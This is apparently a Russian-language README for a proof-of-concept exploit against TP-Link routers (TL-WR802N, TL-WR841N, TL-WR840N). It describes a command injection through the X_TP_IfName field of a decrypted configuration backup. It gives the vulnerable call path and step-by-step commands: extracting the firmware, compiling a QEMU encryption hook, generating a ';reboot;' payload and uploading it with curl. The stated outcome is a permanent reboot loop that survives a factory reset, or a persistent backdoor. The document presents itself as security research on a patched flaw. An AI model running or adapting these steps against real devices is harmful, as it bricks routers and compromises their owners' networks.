
Доказательство концепции для аутентифицированного внедрения команд ОС в прошивку маршрутизатора TP-Link. Включает дешифрование, хуки шифрования на основе QEMU и генерацию полезной нагрузки длиной 15 символов для постоянного цикла загрузки или развертывания бэкдора.
Дополнительная информация: https://www.cve.org/CVERecord?id=CVE-2026-3227
Устойчивая, аутентифицированная уязвимость командной инъекции в прошивке маршрутизаторов TP-Link, приводящая к блокировке устройства или возможному захвату локальной сети.
Отказ от ответственности: Этот репозиторий содержит код подтверждения концепции (PoC) для исправленной уязвимости. Он предназначен для образовательных целей и для исследователей безопасности.
Уязвимость командной инъекции существует в механизме резервного копирования/восстановления конфигурации нескольких маршрутизаторов TP-Link (включая TL-WR802N, TL-WR841N и TL-WR840N). Злоумышленник с административным доступом может загрузить конфигурацию маршрутизатора, расшифровать её, внедрить вредоносную команду ОС (до 15 символов) в определённые поля XML, повторно зашифровать и загрузить обратно на устройство. Когда маршрутизатор применяет конфигурацию (например, во время событий триггера портов или при запуске), внедрённая нагрузка выполняется от root. Это может быть использовано для создания постоянного цикла перезагрузки (полное выведение устройства из строя, переживающее сброс к заводским настройкам) или потенциально для установки постоянного бэкдора для перемещения по локальной сети.
Изучая функцию резервного копирования конфигурации маршрутизатора, я решил провести обратную разработку бинарного файла httpd и библиотеки libcmm.so, чтобы понять, как файлы конфигурации шифруются и анализируются.
qemu-user и подключил исходный бинарный файл httpd маршрутизатора во время выполнения (create_config.c). Это позволило мне вызывать собственные функции шифрования маршрутизатора непосредственно из моего PoC на Python, идеально имитируя исходный формат шифрования.Уязвимость заключается в том, как продукт анализирует зашифрованный конфигурационный блоб и применяет его во время выполнения. В пути конфигурации триггера портов реализация формирует команды оболочки, используя поля, контролируемые пользователем, без надлежащей санитизации.
В частности, функция oal_pt_addPortTrigger вызывает:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
Строка формата %s заполняется строкой интерфейса (X_TP_IfName), анализируемой непосредственно из загруженной XML-конфигурации.
Поток выполнения:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger вызывает forward_parsePtOpenPort для анализа списков портов.iptables и выполняет её через util_execSystem (которая оборачивает system()).Изменяя расшифрованный XML, чтобы включить:
<X_TP_IfName val=";reboot;"/>
Команда выполняется во время инициализации интерфейса при запуске или при возникновении события триггера порта. Поскольку полезная нагрузка ограничена 15 символами, создание эксплойта требует компактных методов выполнения команд.
Чтобы избежать распространения защищённых авторским правом бинарных файлов TP-Link, этот PoC требует, чтобы вы самостоятельно извлекли файловую систему маршрутизатора для использования собственных библиотек шифрования через пользовательский хук QEMU.
qemu-mipsel и кросс-компилятор (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root в 'python_utils/' этого проекта.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. Если вы использовали ;reboot;, маршрутизатор немедленно перезагрузится и войдёт в постоянный цикл перезагрузки.